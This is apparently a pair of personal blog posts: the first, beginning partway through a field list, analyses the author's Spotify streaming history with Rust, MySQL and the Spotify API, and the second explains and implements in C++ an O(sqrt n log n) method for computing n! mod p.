conn_country	This field is the country code of the country where the stream was played (e.g. SE - Sweden).
ip_addr_decrypted	This field contains the IP address logged when streaming the track.
user_agent_decrypted	This field contains the user agent used when streaming the track (e.g. a browser, like Mozilla Firefox, or Safari)
master_metadata_track_name	This field is the name of the track.
master_metadata_album_artist_name	This field is the name of the artist, band or podcast.
master_metadata_album_album_name	This field is the name of the album of the track.
spotify_track_uri	A Spotify URI, uniquely identifying the track in the form of “spotify:track:<base-62 string>” A Spotify URI is a resource identifier that you can enter, for example, in the Spotify Desktop client’s search box to locate an artist, album, or track.
episode_name	This field contains the name of the episode of the podcast.
episode_show_name	This field contains the name of the show of the podcast.
spotify_episode_uri	A Spotify Episode URI, uniquely identifying the podcast episode in the form of “spotify:episode:<base-62 string>” A Spotify Episode URI is a resource identifier that you can enter, for example, in the Spotify Desktop client’s search box to locate an episode of a podcast.
reason_start	This field is a value telling why the track started (e.g. “trackdone”)
reason_end	This field is a value telling why the track ended (e.g. “endplay”).
shuffle	This field has the value True or False depending on if shuffle mode was used when playing the track.
skipped	This field indicates if the user skipped to the next song
offline	This field indicates whether the track was played in offline mode (“True”) or not (“False”).
offline_timestamp	This field is a timestamp of when offline mode was used, if used.
incognito_mode	This field indicates whether the track was played in incognito mode (“True”) or not (“Falsets This field is a timestamp indicating when the track stopped playing in UTC (Coordinated Universal Time). The order is year, month and day followed by a timestamp in military time

So most of these fields aren’t too useful, but just in case we need any later, let’s put all of this data into our database. I’m using a simple MySQL instance locally and the sqlx library in Rust to execute SQL queries. But first, to parse the JSON, the natural choice is serde_json in Rust. Unfortunately, which fields are nullable isn’t very well documented, but a little trial and error, we arrive at this Rust struct for deserialization:

#[derive(Debug, Serialize, Deserialize)]
struct StreamingData {
    ts: String,
    username: String,
    platform: String,
    ms_played: i32,
    conn_country: String,
    ip_addr_decrypted: Option<String>,
    user_agent_decrypted: Option<String>,
    master_metadata_track_name: Option<String>,
    master_metadata_album_artist_name: Option<String>,
    master_metadata_album_album_name: Option<String>,
    spotify_track_uri: Option<String>,
    episode_name: Option<String>,
    episode_show_name: Option<String>,
    spotify_episode_uri: Option<String>,
    reason_start: String,
    reason_end: Option<String>,
    shuffle: Option<bool>,
    skipped: Option<bool>,
    offline: Option<bool>,
    offline_timestamp: Option<i64>,
    incognito_mode: Option<bool>
}

with the corresponding SQL table DDL:

CREATE TABLE streams (
    ts TIMESTAMP NOT NULL,
    username VARCHAR(255) NOT NULL,
    platform VARCHAR(255) NOT NULL,
    ms_played INT NOT NULL,
    conn_country VARCHAR(255) NOT NULL,
    ip_addr_decrypted VARCHAR(255),
    user_agent_decrypted VARCHAR(255),
    master_metadata_track_name VARCHAR(255),
    master_metadata_album_artist_name VARCHAR(255),
    master_metadata_album_album_name VARCHAR(255),
    spotify_track_uri VARCHAR(255),
    episode_name VARCHAR(255),
    episode_show_name VARCHAR(255),
    spotify_episode_uri VARCHAR(255),
    reason_start VARCHAR(255) NOT NULL,
    reason_end VARCHAR(255),
    shuffle BOOLEAN,
    skipped BOOLEAN,
    offline BOOLEAN,
    offline_timestamp BIGINT,
    incognito_mode BOOLEAN
);

With some bulk inserts, we’re able to load the data in under a minute, all 112,526 rows. Time to play around a little bit of the data.

Exploratory Data Analysis

Let’s first look at my top 10 streamed songs of all time:

SELECT
	master_metadata_track_name,
	master_metadata_album_artist_name,
	SUM(ms_played) / 3600000 AS hours_played
FROM streams
WHERE spotify_track_uri IS NOT NULL
GROUP BY spotify_track_uri, 1, 2
ORDER BY 3 DESC
LIMIT 10

master_metadata_track_name	master_metadata_album_artist_name	hours_played
On Some Emo Shit	blink-182	27.7208
Beautiful Days Piano	Masafumi Takada	25.0852
No Capes	Waterparks	23.1735
Spring Day	BTS	21.9136
Roses	The Chainsmokers	21.6337
Rhapsody in Blue	George Gershwin	19.9754
Reset (feat. Jinsil)	Tiger JK	19.7157
Hawaii (Stay Awake)	Waterparks	19.5447
It’s Time	Imagine Dragons	18.6422
whatever it takes	convolk	17.9429

Concerningly, if we don’t group by spotify_track_uri, we get a different result:

master_metadata_track_name	master_metadata_album_artist_name	hours_played
Spring Day	BTS	30.9958
On Some Emo Shit	blink-182	27.7208
Beautiful Days Piano	Masafumi Takada	25.0852
whatever it takes	convolk	24.5301
Sanctuary	Joji	24.0277
No Capes	Waterparks	23.1735
KIDS ON MOLLY	Aries	21.8589
Rhapsody in Blue	George Gershwin	21.7469
Roses	The Chainsmokers	21.6337
Reset (feat. Jinsil)	Tiger JK	19.7157

We see that Spring Day by BTS grows by over 9 hours. This is probably due to the fact that the same song has different tracks on Spotify. Let’s see all the different versions of Spring Day:

SELECT
	spotify_track_uri,
	master_metadata_album_album_name,
	SUM(ms_played) / 3600000 AS hours_played
FROM streams
WHERE master_metadata_track_name = 'Spring Day'
  AND master_metadata_album_artist_name = 'BTS'
GROUP BY 1, 2;

spotify_track_uri	master_metadata_album_album_name	hours_played
spotify:track:02q0ZnV2L4XByzEvWZJqBC	YOU NEVER WALK ALONE	8.0562
spotify:track:0WNGsQ1oAuHzNTk8jivBKW	You Never Walk Alone	21.9136
spotify:track:2j1fFjWHCI9KJSwcuYAOyF	You Never Walk Alone	1.0259

This confirms our suspicions, we’re going to have to treat two songs as the same if they have the same title and artist, ignoring case, and even so, a couple of the same songs might be treated as different, and some different songs treated as the same if an aritst decides to name two different songs the same name, but there’s not much we can do.

Let’s also make sure not too much of our data is unusable, which is, what percent of streams by time has a NULL ID?

SELECT
( SELECT SUM(ms_played) WHERE spotify_track_uri IS NULL ) /
( SELECT SUM(ms_played) ) * 100
AS percent_null;

percent_null
0.57201341

0.57% is not too bad. Let’s move onto a more interesting question. I consider myself to be primarily an album listener, so what album have I listend to the most? I don’t want to be skewed by listening to a single song of the album, so let’s define the playtime of an album as the minimum playtime of any song in that album if all songs were listened to in that album, zero otherwise.

To once again avoid issues with the same album being identified with different IDs within Spotify, lets define an album uniquely defined as its album name and artist name, case insensitive.

This is the point where we need more information, since album info isn’t available in our Spotify download. It is found in the API, which we can query with our track IDs. We have 11,091 distinct track IDs to query, and the API allows bulk queries of up to 50 IDs each. The exact rate limit for the API isn’t known but we should be able to get away with 2 queries a second, so this should only take two minutes or so.

We have to do a lot of insertions into our database, so let’s factor out the logic in a helper function:

async fn bulk_insert<'a, T, F>(pool: &sqlx::Pool<sqlx::MySql>, table: &str, elements: &'a [T], row_closure: F)
where F: Fn(Separated<'_, 'a, MySql, &str>, &'a T) {
    const SQL_BATCH_SIZE: usize = 1000;

    for chunk in elements.chunks(SQL_BATCH_SIZE) {
        let mut query_builder: QueryBuilder<MySql> = QueryBuilder::new(format!("INSERT INTO {} ", table));
        query_builder.push_values(chunk, &row_closure);
        query_builder.build().execute(pool).await.unwrap();
    }
}

There’s a fun little Rust lifetime puzzle we had to solve in the function parameters to ensure that the query builder outlives the items being added to the query in the closure passed to this function.

In addition, we’re going to be doing a lot of API requests, so let’s factor out the behavior we want to exhibit based on the return code received into another function:

async fn spotify_request(token: &mut String, url: reqwest::Url) -> String {
    let mut backoff = 1;

    loop {
        let request = reqwest::Client::new().get(url.clone()).bearer_auth(&token);
        let request_copy = request.try_clone().unwrap();
        let response = request_copy.send().await.unwrap();
        let status = response.status();

        if !matches!(status, reqwest::StatusCode::TOO_MANY_REQUESTS) {
            backoff = 1;
        }

        match status {
            reqwest::StatusCode::UNAUTHORIZED => {
                println!("Invalid token! Getting a new one...");
                *token = get_new_token().await;
            }
            reqwest::StatusCode::TOO_MANY_REQUESTS => {
                let retry_after = response.headers().get("Retry-After");
                let timeout = match retry_after {
                    // Use the value of retry_after given to us from Spotify if it exists
                    Some(value) => {
                        value.to_str().unwrap().to_owned().parse().unwrap()
                    }
                    None => backoff
                };
                println!("Too many requests! Backing off {timeout} second(s)...");
                tokio::time::sleep(std::time::Duration::from_secs(timeout)).await;
                backoff *= 2;
            }
            reqwest::StatusCode::OK => {
                return response.text().await.unwrap();
            }
            _ => {
                panic!("Unhandled return code {}!", status);
            }
        }
    }
}

The full code is available on my GitHub, I won’t include most of it here since it’s a lot of boilerplate.

Finally, with all the data we need, let’s write a query to figure out my top albums, by the number of minimum playthroughs of a song in the album, with the requirement that all songs in the album have been played.

First, as discussed, we identify a song uniquely by the key (track name, artist name), which gives us multiple track ids. A little experimentation showed that all of these track ids for a given key (track name, artist name) pair yield the same album id, so we can pick one arbitarily, such as the first one that appears.

Next, we need to divide to aggregate all the time played for each key and divide it by the length of track. We then use a window function to count how many distinct songs for each album show up.

Finally, filtering on the albums where the number of distinct songs that show up is equal to the number of tracks in the album, we use aggregation to find the minimum times played for each album id.

Our resulting query is

WITH cte1 AS (
    SELECT
        master_metadata_track_name AS track_name,
        master_metadata_album_artist_name AS artist_name,
        JSON_UNQUOTE(JSON_EXTRACT(JSON_ARRAYAGG(spotify_track_uri), '$[0]')) AS track_uri,
        SUM(ms_played) AS total_ms_played
    FROM streams
    GROUP BY 1, 2
    HAVING total_ms_played > 0
),
cte2 AS (
    SELECT
        cte1.track_name,
        cte1.artist_name,
        cte1.total_ms_played / tracks.duration_ms AS times_played,
        albums.id AS album_id,
        albums.name AS album_name,
        albums.total_tracks,
        COUNT(track_name) OVER (PARTITION BY albums.id) AS played_tracks
    FROM cte1 JOIN tracks ON SUBSTRING(cte1.track_uri, 15) = tracks.id
              JOIN albums ON tracks.album_id = albums.id
    WHERE tracks.duration_ms > 0
)
SELECT DISTINCT
    album_name,
    artist_name,
    total_tracks,
    MIN(times_played) AS times_played
FROM cte2
WHERE played_tracks = total_tracks AND total_tracks >= 5
GROUP BY album_id, 1, 2, 3
ORDER BY 4 DESC
LIMIT 20;

and our result is

album_name	artist_name	total_tracks	times_played
WELCOME HOME	Aries	9	94.5799
BLOODLUST	nothing,nowhere.	6	87.5505
Take Off Your Pants And Jacket	blink-182	13	85.5395
Double Dare	Waterparks	13	61.7403
deadroses	blackbear	10	58.3813
Cluster	Waterparks	5	36.1772
NINE	blink-182	15	35.8173
Boys Like Girls	BOYS LIKE GIRLS	12	35.0078
help	blackbear	10	29.0632
5 Seconds Of Summer	5 Seconds of Summer	16	28.6338
BALLADS 1	Joji	12	26.2355
Heart Flip	This Wild Life	8	25.7468
Entertainment	Waterparks	10	24.3553
X&Y	Coldplay	13	16.1856
Songs About Jane	Maroon 5	12	14.8786
÷ (Deluxe)	Ed Sheeran	16	14.0803
Greatest Hits	Waterparks	17	13.8155
Last Young Renegade	All Time Low	10	12.6903
Black Light	Waterparks	6	12.5680
Astoria	Marianas Trench	17	9.1888

That’s it for now! In the next part, we’ll be trying to see if there’s a statistically significant link between things such as time of day or day of week and the mood of songs, which is something the Spotify API provides. We’ll also be developing a standalone application so people can see their own stats.

Calculating n! mod p in O(sqrt n log n) Time

2023-11-12T07:22:04+00:00

In this article we compute $n! \bmod p$ in $O(\sqrt n \log n)$ time.

Prerequisites

You should be familiar with

Modulo and modular inverse
Convolution and FFT

All formulas and calculations are done$\bmod p$, and $\dfrac ab$ should be interpreted as $ab^{-1}$, where $b^{-1}$ the modular inverse of $b$,$\bmod p$.

Formula

For simplicity, suppose that $n$ is a square number and $v^2 = n$. We let $g(x) = \displaystyle\prod_{i=1}^v (x + i)$. Then,

$g(0) = \displaystyle\prod_{i = 1}^v i$, the product of the first $v$ terms of $n!$
$g(v) = \displaystyle\prod_{i = v+1}^{2v} i$, the product of the next $v$ terms of $n!$
…
$g(v^2-v) = \displaystyle\prod_{i={v^2-v+1}}^{v^2} i$, the product of the last $v$ terms of $n!$

Therefore, $n! = g(0)g(v)g(2v) \cdots g(v^2-v)$.

If $n$ is not a perfect square, we can choose $v = \lfloor \sqrt n \rfloor$, and compute the rest of the terms the regular way, yielding the formula $n! = g(0)g(v)g(2v) \cdots g(v^2-v) \times (v^2+1)(v^2+2)\cdots(n)$.

For the rest of the article, we focus on how to compute $[g(0), g(v), g(2v), \dots, g(v^2-v)]$.

The Method

Our goal is to compute $g(0)g(v)g(2v) \cdots g(v^2-v)$. For simplicity, suppose $v$ is a power of 2.

Let $g_d(x)$ be the first $d$ terms of $g(x)$, that is, $\displaystyle\prod_{i=1}^d (x+i)$.

The main idea is to find an algorithm that takes in array $[g_d(0), g_d(v), g_d(2v), \dots, g_d(dv)]$ and outputs $[g_{2d}(0), g_{2d}(v), g_{2d}(2v), \dots, g_{2d}(2dv)]$ in $O(d \log d)$ time. We call this algorithm the doubling algorithm.

Then, starting with $[g_1(0),g_1(v)]$, we can apply our algorithm $\log v$ times, yielding $[g_2(0), g_2(v), \dots, g_2(2v)]$, then, $[g_4(0), g_4(v), \dots, g_4(4v)]$, and so on until we have $[g_v(0), g_v(v), \dots, g_v(v^2)]$, and since $g_v(x) = g(x)$, this gives us $[g_v(0), g_v(v), \dots, g_v(v^2-v)]$ by ignoring the last element of the array.

By doing this, our time complexity is $T(n) = T(n/2) + O(n \log n) = O(v \log v) = O(\sqrt p \log p)$.

In general, if $v$ is not a power of 2, we can round up to the nearest one.

The Doubling Algorithm

Our goal is, given $g_d(0), g_d(v), \dots, g_d(dv)$, compute $g_{2d}(0), g_{2d}(v), \dots, g_{2d}(2dv)$ in $O(d \log d)$ time.

The plan is to

Compute $[g_d(d), g_d(d + v), g_d(d + 2v), \dots, g_d(d + dv)]$
Compute $[g_d(dv), g_d(dv + v), g_d(dv + 2v), \dots, g_d(2dv)]$
Compute $[g_d(dv + d), g_d(dv + d + v), g_d(dv + d + 2v), \dots, g_d(2dv + d)]$
Using the arrays from Steps 1 through 3, for each $x$ in $[0, v, 2v, \dots, 2dv]$, compute $g_{2d}(x) = g_d(x) g_d(i + dv)$

Steps 1 through 3 all follow the same form, given $[g_d(0), g_d(v), \dots, g_d(dv)]$, compute $[g_d(a), g_d(a + v), \dots, g_d(a + dv)]$. We discuss how to do this in the next section.

Polynomial Sample Shift

First, we solve a simplified version of the problem.

Our goal is, if $h(x)$ is a degree-$d$ polynomial, given $h(0), h(1), \dots, h(d)$, compute $h(m), h(m + 1), \dots, h(m + d)$.

To do this, we tak advantage of the Lagrange Interpolation formula on sampling points $[0, 1, \dots, d]$:

\[h(x) = \sum_{i=0}^d h(i) \prod_{j = 0, j \neq i}^d \frac{x-j}{i-j}\]

We aren’t actually going to interpolate anything, we are just taking advantage of this formula.

Plugging in $m + k$ into $x$, we get

\[\begin{align*} h(m + k) &= \sum_{i=0}^d h(i) \prod_{j = 0, j \neq i}^d \frac{m+k-j}{i-j} \\ &= \sum_{i=0}^d \frac{h(i)}{\prod_{j=0,j\neq i}^d (i-j)} \prod_{j=0,j\neq i}^d (m + k - j) \\ \end{align*}\]

For simplicity, let $\delta(i, d) = \prod_{j=0,j\neq i}^d (i-j)$.

We note that $\displaystyle\prod_{j=0,j\neq i}^d (m + k - j)$ is the product of all terms $\displaystyle\prod_{j=0}^d (m + k - j)$ except for the i-th term, which we can write as $\dfrac1{m + k - i} \displaystyle\prod_{j=0}^d (m + k - j)$. For simplicity, let $\Delta(m, k, d) = \displaystyle\prod_{j=0}^d (m + k - j)$. We therefore have

\[\begin{align*} h(m + k) &= \sum_{i=0}^d \frac{h(i)}{\delta(i, d)} \frac1{m + k - i} \prod_{j=0}^d (m + k - j) \\ &= \Delta(m, k, d) \left( \sum_{i=0}^d \frac{h(i)}{\delta(i, d)} \frac1{m + k - i} \right) \\ \end{align*}\]

The sum in the formula is a sum of a product of $\dfrac{h(i)}{\delta(i, d)}$, a function of $i$, and $\dfrac1{m + k - i}$, a function of $-i$. This lets us express it as a convolution and compute it in $O(d \log d)$ time using FFT.

In particular, we define the polynomials $p(x) = \displaystyle\sum_{i=0}^d \dfrac{h(i)}{\delta(i, d)} x^i$ and $q(x) = \displaystyle\sum_{i=0}^{2d} \dfrac{1}{a + i - d}x^i$

Then their product $r(x) = p(x)q(x)$ is

\[\sum_{i = 0}^d \sum_{j=0}^{2d} \frac{h(i)}{\delta(i, d)}\frac{1}{a + i - d} x^{i + j}\]

Let $[f(x)]_i$ denote the $i$-th coefficent of $f(x)$. Then the $c$-th coefficient of $r(x)$, or $[r(x)]_c$ is

\[\begin{align*} &\phantom{=}\sum_{i = 0}^{\min(c, d)} [p(x)]_i [q(x)]_{c-i} \\ &= \sum_{i = 0}^{\min(c, d)} \frac{h(i)}{\delta(i, d)} \frac{1}{m + (c - i) - d} \end{align*}\]

In particular, for $0 \leq k \leq d$, the $(k + d)$-th coefficient or $[r(x)]_{k + d}$ is

\[\begin{align*} &\phantom{=}\sum_{i = 0}^{\min(k+d, d)} \frac{h(i)}{\delta(i, d)} \frac{1}{m + (k + d - i) - d} \\ &=\sum_{i = 0}^d \frac{h(i)}{\delta(i, d)} \frac{1}{m + k - i} \end{align*}\]

which is exactly the sum in the formula.

Summary of Polynomial Sample Shift

To summarize, we are given $h(0), h(1), \dots, h(d)$ and we want to compute $h(m + k)$ for all $0 \leq k \leq d$, we

Precompute $\delta(i, d)$ for all $0 \leq i \leq d$ by computing
- $\delta(0, d) = \displaystyle\prod_{j=0,j\neq i}^d (0-j)$
- For $0 < i \leq d$, $\delta(i,d) = \dfrac i{i-d-1}{\delta(i-1,d)}$
Precompute $\Delta(m, k, d)$ for all $0 \leq k \leq d$
- $\Delta(m, 0, d) = \displaystyle\prod_{j=0}^d (m + 0 - j)$
- For $k > 0$, $\Delta(m, k, d) = \dfrac{m+k}{m+k-d-1}\Delta(m, k - 1, d)$
Compute the coefficients for $p(x)$, where $[p(x)]_i = \dfrac{h(i)}{\delta(i, d)}$ for $0 \leq i \leq d$
Compute the coefficients for $q(x)$, where $[q(x)]_i = \dfrac{1}{a + i - d}$ for $0 \leq i \leq 2d$
Compute $r(x) = p(x)q(x)$ using FFT
The $(k + d)$-th coefficient of $r(x)$ is $\displaystyle\sum_{i = 0}^d \frac{h(i)}{\delta(i, d)} \frac{1}{m + k - i}$ for $0 \leq k \leq d$
Compute $h(m + k) = \Delta(m, k, d) \left( \displaystyle\sum_{i=0}^d \frac{h(i)}{\delta(i, d)} \frac1{m + k - i} \right)$ for $0 \leq k \leq d$

To relate back to the original problem, where given $G_d(0)$, we want to compute $G_d(a)$ for $a = d, dv,$ and $dv + d$.

We choose $h(x) = g_d(vx)$ and $m = \frac av$
Using the above, we compute $h(m), h(m + 1), \dots, h(m + k)$ which since $h(x) = g_d(vx)$, is $g_d(a), g_d(a + v), \dots, g_d(a + dv) = G_d(a)$

The Overall Algorithm

Given $n$ and $p$, we

Choose $v = \lfloor \sqrt n \rfloor$, rounding up to the nearest power of 2
Calculate $g(0) = 1, g(v) = v + 1$, set $d = 1$
Until $d = v$, using the doubling algorithm to compute $[g_{2d}(0), \dots, g_{2d}(2dv)]$ from $[g_d(0), \dots, g_d(dv)]$, doubling $d$ each time
- Within the doubling algorithm, given $g_d(0), g_d(v), \dots, g_d(dv)$, compute
  1. $[g_d(d), g_d(d + v), g_d(d + 2v), \dots, g_d(d + dv)]$
  2. $[g_d(dv), g_d(dv + v), g_d(dv + 2v), \dots, g_d(2dv)]$
  3. $[g_d(dv + d), g_d(dv + d + v), g_d(dv + d + 2v), \dots, g_d(2dv + d)]$
  4. For each $x$ in $[0, v, 2v, \dots, 2dv]$, compute $g_{2d}(x) = g_d(x) g_d(i + dv)$

Implementation

This is a C++ implementation that solves Factorial from Library Checker, linked below. It uses the modulo 998244353 version of FFT. There is no optimization in this code, it’s mostly used to illustrate the concepts seen in this article.

#include <stdio.h>
#include <algorithm>
#include <vector>
using namespace std;

typedef long long int lli;
typedef vector<lli> vint;
const int MAXN = 1<<23;
int revd[MAXN];
const lli MOD = 998244353;

// Modulo operations
lli pow(lli b, lli e){
	lli r = 1;
	while(e){
		if(e & 1) r = r * b % MOD;
		b = b * b % MOD;
		e /= 2;
	}
	return r;
}

lli inv(lli b){
	return pow(b, MOD - 2);
}

// Convolution/FFT Functions
unsigned rev(unsigned n){
	n = (n & 0x55555555) << 1 | (n >> 1 & 0x55555555);
	n = (n & 0x33333333) << 2 | (n >> 2 & 0x33333333);
	n = (n & 0x0f0f0f0f) << 4 | (n >> 4 & 0x0f0f0f0f);
	n = (n & 0x00ff00ff) << 8 | (n >> 8 & 0x00ff00ff);
	n = n << 16 | n >> 16;
	return n;
}

void init_fft(){
	for(int size = 2, power = 1; size <= MAXN/2; size *= 2, power++)
		for(int i = 0; i < size; i++)
			revd[i + size] = rev(i) >> (32 - power);
}

void fft(vint &arr){
	int N = arr.size();
	lli iroot = pow(3, (MOD - 1) / N);
	vint root(N/2);
	root[0] = 1;
	for(int i = 1; i < N/2; i++)
		root[i] = root[i - 1] * iroot % MOD;
	for(int i = 0; i < N; i++){
		int j = revd[i + N];
		if(i < j) swap(arr[i], arr[j]);
	}

	for(int size = 2; size <= N; size *= 2){
		int half = size / 2, step = N / size;
		for(int start = 0; start < N; start += size){
			for(int off = 0; off < half; off++){
				lli u = arr[start + off];
				lli v = arr[start + off + half] * root[off * step] % MOD;
				arr[start + off] = (u + v) % MOD;
				arr[start + off + half] = (u - v + MOD) % MOD;
			}
		}
	}
}

void ifft(vint &arr){
	reverse(arr.begin() + 1, arr.end());
	fft(arr);
	int N = arr.size(), divn = pow(N, MOD - 2);
	for(int i = 0; i < N; i++)
		arr[i] = arr[i] * divn % MOD;
}

vint mult(vint arr, vint brr){
	int N = 2, M = arr.size() + brr.size() - 1;
	while(N < M) N *= 2;
	arr.resize(N);
	brr.resize(N);
	fft(arr);
	fft(brr);
	for(int i = 0; i < N; i++)
		arr[i] = arr[i] * brr[i] % MOD;
	ifft(arr);
	return arr;
}

// Factorial functions
vint shift(vint h, int m){
	int d = h.size() - 1;
	vint delta(d + 1), Delta(d + 1);
	
	delta[0] = 1;
	for(int j = 1; j <= d; j++)
		delta[0] = delta[0] * (MOD + 0 - j) % MOD;
	delta[0] = inv(delta[0]);
	for(int i = 1; i <= d; i++)
		delta[i] = (MOD + i - d - 1) * inv(i) % MOD * delta[i - 1] % MOD;

	Delta[0] = 1;
	for(int j = 0; j <= d; j++)
		Delta[0] = Delta[0] * (MOD + m + 0 - j) % MOD;
	for(int k = 1; k <= d; k++)
		Delta[k] = Delta[k - 1] * (m + k) % MOD * inv(MOD + m + k - d - 1) % MOD;

	vint px(d + 1), qx(2*d + 1);
	for(int i = 0; i <= d; i++)
		px[i] = h[i] * delta[i] % MOD;
	for(int i = 0; i <= 2*d; i++)
		qx[i] = inv(MOD + m + i - d);
	
	vint rx = mult(px, qx);

	vint res(d + 1);
	for(int k = 0; k <= d; k++)
		res[k] = Delta[k] * rx[k + d] % MOD;
	return res;
}

vint grow(vint samples, lli v){
	lli d = samples.size() - 1;
	vint &G0 = samples;
	vint Gd = shift(samples, d * inv(v) % MOD);
	vint Gdv1 = shift(samples, (d*v + v) * inv(v) % MOD);
	vint Gdvd1 = shift(samples, (d*v + d + v) * inv(v) % MOD);

	vint res(2*d+1);
	for(int i = 0; i <= d; i++)
		res[i] = G0[i] * Gd[i] % MOD;
	for(int i = 1; i <= d; i++)
		res[i + d] = Gdv1[i - 1] * Gdvd1[i - 1] % MOD;
	
	return res;
}

lli factorial(lli n){
	lli v = 1;
	while(v * (v + 1) < n)
		v *= 2;

	int d = 1;
	vint Gd = {1, v + 1};
	while(d < v){
		d *= 2;
		Gd = grow(Gd, v);
	}
	
	lli total = 0, prod = 1;
	for(size_t i = 0; i < Gd.size(); i++){
		if(total + v > n) break;
		prod = prod * Gd[i] % MOD;
		total += v;
	}
	for(lli i = total + 1; i <= n; i++)
		prod = prod * i % MOD;

	return prod;
}

int main(){
	init_fft();
	int T;
	scanf("%d", &T);
	while(T--){
		lli N;
		scanf("%lld", &N);
		lli ans = factorial(N);
		printf("%lld\n", ans);
	}
}

Practice Problems

[Library Checker] Factorial can be solved directly using the knowledge from this article
[DMOJ] Fast Factorial Calculator 3 requires some constant-optimizations
[SPOJ] Factorial Modulo Prime is similar

References

This article is based off of this article by Min_25
Some of the math and derivations are from Linear recurrences with polynomial coefficients and application to integer factorization and Cartier-Manin operator by Alin Bostan, Pierrick Gaudry, and Eric Schost. (Link). As far as I can tell, this is the first (English) source to describe this technique.